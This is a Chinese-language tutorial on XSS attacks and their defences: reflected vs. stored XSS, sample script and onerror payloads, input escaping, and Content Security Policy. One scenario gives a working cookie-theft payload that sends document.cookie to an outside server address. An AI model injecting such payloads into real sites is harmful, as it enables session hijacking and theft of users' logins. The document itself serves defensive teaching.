什么是XSS?
XSS,是跨站脚本(Cross-site scripting) 的简称,这是一种网站应用程序的安全漏洞攻击,代码注入的一种。
其允许恶意用户将代码注入到网页上,之后其他用户在观看网页时就会受到影响,这类攻击通常包含了HTML以及用户端脚本语言如JavaScript等。
XSS的类型:反射型、持久型
反射型XSS是非持久化的,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发,一般是欺骗用户点击特定链接来进行恶意攻击,攻击代码就在url当中。
存储型****XSS攻击,是指将恶意代码被当做正常数据插入到服务器上的数据库中,当用户正常访问页面的时候,恶意代码从数据库中提取出来并被触发。
场景a1: 某页面需要将页面携带的参数展示在页面上。某新闻论坛展示页面,通过v-html将爬取的文章展示在页面上,文章内容中携带了script标签。论坛、新闻等场景
a1: `<script>alert('普通xss攻击')</script>`
场景a2: script标签不仅可以进行alert,理论上可以执行任何原生js代码,如直接跳转到另一个页面。论坛、新闻等场景
a2: `<script>window.location.href='https://www.baidu.com'</script>`,
场景a3: 执行js理论上可以获取当前页面的cookie,结合简单的请求发送,能够窃取用户的cookie达到窃取用户登录状态的目的。用户信息表单等场景
`<script>document.write('<img src="http://192.168.102.154:9004/api/getCookie?cookie='+document.cookie+'">')</script>`
如图:黑客拥有一处服务器接口,可以接收到网页img的get请求,得到cookie参数。拿到cookie后就可以进行登录窃取了
场景a4: xss攻击广泛存在于jquery等旧的框架中,如innerHTML=,apppendChildren等。在html5中,v-html并不会执行script标签中的脚本
不只是script标签,但是xss攻击也是无孔不入的,看看下面这种情况:
a4: `<img src='xxx' onerror="alert(/img标签xss攻击/)" />`
img的src资源写为一个无意义的参数,将js代码写在onerror事件中,也会达到响应的目的。
场景a5:以上a1-a4更偏向于存储型xss攻击,下面这种属于标准的反射型场景: 某页面需要将页面携带的参数keyword展示在页面上。某黑客将如下链接发送给用户 。钓鱼链接等场景
url中的keyword参数,在js代码逻辑中被处理为保留原格式展示在页面中。
如何应对XSS攻击:凡是用户输入皆不可信!控制用户输入+限制浏览器输出
xss攻击是无处不在的,并没有完美的防止xss攻击的方式,黑客有很多方法可以进行语句构造,但是如果做好以下几点,将最大程度减少损失。
1.对于用户主动输入要进行严控,做好字符过滤(如script,需要总结经验),字符转义(将html标签转义为字符),限制长度(能有效避免损失)
2.慎用v-html等使用模板语言,少用innnerHtml等原生语言。
3.开启csp,对于外源性脚本谨慎。
4.对于论坛类、用户表单类、新闻展示类等场景进行特别测试,定期进行xss排查。
1.字符转义。防止用户恶意输入script标签 && 将不需要保留格式的html标签处理为文本格式
import _ from 'lodash'
methods: {
escape(str) {
return _.escape(str)
}
}
2.开启csp( Content Security Policy) web的第一道防线
严格的 CSP 在 XSS 的防范中可以起到以下的作用:
- 禁止加载外域代码,防止复杂的攻击逻辑。
- 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。开启csp后,如上场景a3可以屏蔽相应的请求
- 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
- 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。